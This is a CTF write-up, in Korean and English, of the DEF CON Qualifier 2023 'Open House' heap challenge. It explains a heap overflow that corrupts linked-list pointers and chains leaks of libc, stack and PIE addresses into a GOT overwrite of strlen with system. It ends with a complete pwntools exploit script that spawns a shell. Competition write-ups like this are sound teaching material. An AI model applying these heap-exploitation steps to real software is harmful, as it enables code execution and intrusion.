DEF CON CTF Qualifier 2023 - Open House (heap)

You are cordially invited to an exclusive Open House event, where dreams meet reality and possibilities abound. Join us for an unforgettable experience as we showcase a captivating array of properties, each waiting to become your dream home.

  • [68 solves]

Except simple UAF, my first heap challenge XD
(So the exploit is going to be dirty. :p)

It is very meaningful to me because I exploited the challenge using only Googling.

Analysis



이 프로그램은 4가지의 기능을 가지고 있는데 느낌상 벌써 heap 문제 같다. (네이밍은 다 해준 상태이다.)

This program has 4 functions, and it feels like a heap challenge. (The naming has been done.)



main 함수 앞에서 많이 호출된 add() 함수를 살펴보자. struct를 정의해 주기 전 모습은 정말 복잡했다. 이 함수를 해석하는 데 꽤 오래걸렸다.

Let’s look at the add() function, which is called a lot before the main function. Before defining the struct, it was really complicated. I spent a lot of time interpreting this function.

1
2
3
4
5
6
struct review
{
char content[512];
review *next;
review *prev;
};

create() 함수에서 content를 입력받고, 인자로 해서 위의 add() 함수를 호출한다. 이때 overflow는 발생하지 않는다. 취약점은 아래 modify() 함수에서 나타난다.

In the create() function, the content is input, and the above add() function is called with the input as a argument. In this case, overflow doesn’t occur. The vulnerability appears in the modify() function below.


25번째 라인에서 heap overflow가 발생한다. content를 넘어서 next와 prev 포인터까지 덮어쓸 수 있다.

In the 25th lne, heap overflow occurs. You can overwrite the next and prev pointers beyond the content.

Exploit

  1. libc address 구하기
  • 처음에 0x10~0x400이 할당되면 fastbin이나 unsorted bin에 들어가지 않고 tcache bin에 들어간다.
  • unsorted bin의 특성을 이용해서 구할 수 있다. 하지만 tcache가 존재하기 때문에 tcache bin이 가득 차고 난 후, unsorted bin에 청크가 저장된다.
  • 8개를 free하고, 9번째부터 unsorted bin에 저장된다.
  • 이때 청크에 libc 주소가 적혀있다. 이것을 릭하였다.
  • 이 블로그를 참고하였음: https://velog.io/@woounnan/SYSTEM-Heap-Basics-Bin
  1. libc.symbols[‘environ’]에 저장된 stack address 구하기
  • pie base address를 구하기 위해 stack address를 구했다.
  1. pie base address 구하기
  • stack에는 높은 확률로 pie address가 존재한다.
  1. e.got[‘strlen’]을 system 함수로 덮음
  • create() 함수에서 strlen(입력) 형태로 사용하기 때문에 strlen을 system 함수로 덮고 입력으로 ‘/bin/sh’를 보냈다.


  1. Getting libc address
  • If 0x10~0x400 is initially allocated, it goes into tcache bin instead of fastbin or unsorted bin.
  • It can be caculated by using the characteristics of unsorted bins. But because tcache exists, tcache bin is full and then chunks are stored in unsorted bin.
  • 8 are freed, and from the 9th are stored in the unsorted bin.
  • At this time, the libc address is written in the chunk. I leaked this.
  • Referred to this blog(Korean): https://velog.io/@woounnan/SYSTEM-Heap-Basics-Bin
  1. Getting the stack address stored in libc.symbols[‘environ’]
  • The stack address was leaked to get the pie base address.
  1. Getting the pie base address
  • There is a pie address in the stack with a high probability.
  1. Overwriting e.got[‘strlen’] with the system function
  • Since strlen(input) is used in the create() function, strlen is overwritten by the system function and ‘/bin/sh’ is sent as an input.



중간 중간 leak하면서 프로그램이 자꾸 종료되었다. 그래서 아래 payload를 이용하여 next 포인터를 정상적으로 만들어주고 다음 leak을 진행하였다.

The program exit after leak. So, by using the payload below, I made next pointer normally and proceeded with the next leak.

1
2
3
4
payload = b'A' * (0x200-1) + b'B'
payload += p32(heap_base + 0xbf0) # next
payload += p32(0x42424242) # prev
modify(5, payload)

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

p = process('./open-housep')
e = ELF('./open-housep')
libc = ELF('./libc.so.6')
# libc = ELF('/usr/lib32/libc.so.6')

def create(content):
p.sendlineafter('>', 'c')
p.sendlineafter('review!', content)

def delete(index):
p.sendlineafter('>', 'd')
p.sendlineafter('?', str(index))

def modify(index, content):
p.sendlineafter('>', 'm')
p.sendlineafter('?', str(index))
p.sendlineafter('?', content)

def view():
p.sendlineafter('>', 'v')

create(b'a'*(0x200-1)+b'b')
create(b'cccc')
view()

p.recvuntil(b'aaab')
heap_base = u32(p.recv(4)) - 0x2860
info(hex(heap_base))

# delete(1) # 한 번만 하면 tcache로 들어감; ㅠㅠ
for i in range(8):
delete(1)

create(b'A'*0x20)
create(b's'*0x20) # for next chunk

payload = b'A' * (0x200-1) + b'B'
payload += p32(heap_base + 0x1010) # next
payload += p32(0x42424242) # prev
modify(5, payload)

view()

p.recvuntil(b'BBBB\n\n**** - ')
libc_leak = u32(p.recv(4))
info('libc base :: ' + hex(libc_leak))

libc.address = libc_leak - 0x2257f8
info('libc base :: ' + hex(libc.address))


### 원래대로 바꿔 준 다음(create 안되어서), environ 출력해서 스택 주소 릭
payload = b'A' * (0x200-1) + b'B'
payload += p32(heap_base + 0xbf0) # next
payload += p32(0x42424242) # prev
modify(5, payload)


payload = b'A' * (0x200-1) + b'B'
payload += p32(libc.symbols['environ'] ) # next
payload += p32(0x42424242) # prev
modify(5, payload)

view()

p.recvuntil(b'BBBB\n\n**** - ')
stack_leak = u32(p.recv(4))
info('stack leak :: ' + hex(stack_leak))

### 원래대로 바꿔 준 다음(create 안되어서), 스택에 저장된 파이 주소 릭
payload = b'A' * (0x200-1) + b'B'
payload += p32(heap_base + 0xbf0) # next
payload += p32(0x42424242) # prev
modify(5, payload)


payload = b'A' * (0x200-1) + b'B'
payload += p32(stack_leak + 0xc0) # next
payload += p32(0x42424242) # prev
modify(5, payload)

view()

p.recvuntil(b'BBBB\n\n**** - ')
pie_leak = u32(p.recv(4))
info('pie leak :: ' + hex(pie_leak))

e.address = pie_leak - 0x34
info('pie base :: ' + hex(e.address))


### 원래대로 바꿔 준 다음
payload = b'A' * (0x200-1) + b'B'
payload += p32(heap_base + 0xbf0) # next
payload += p32(0x42424242) # prev
modify(5, payload)

create(b'eeeeeeee')
create(b'ffffffff')
create(b'gggggggg')
create(b'hhhhhhhh')
create(b'iiiiiiii') # 11
create(b'jjjjjjjj') # 12

payload = b'O' * (0x200-1) + b'O'
payload += p32(e.got['strlen']) # next
payload += p32(0x42424242) # prev
modify(11, payload)
modify(12, p64(libc.symbols['system']))

create('/bin/sh\x00')

p.interactive()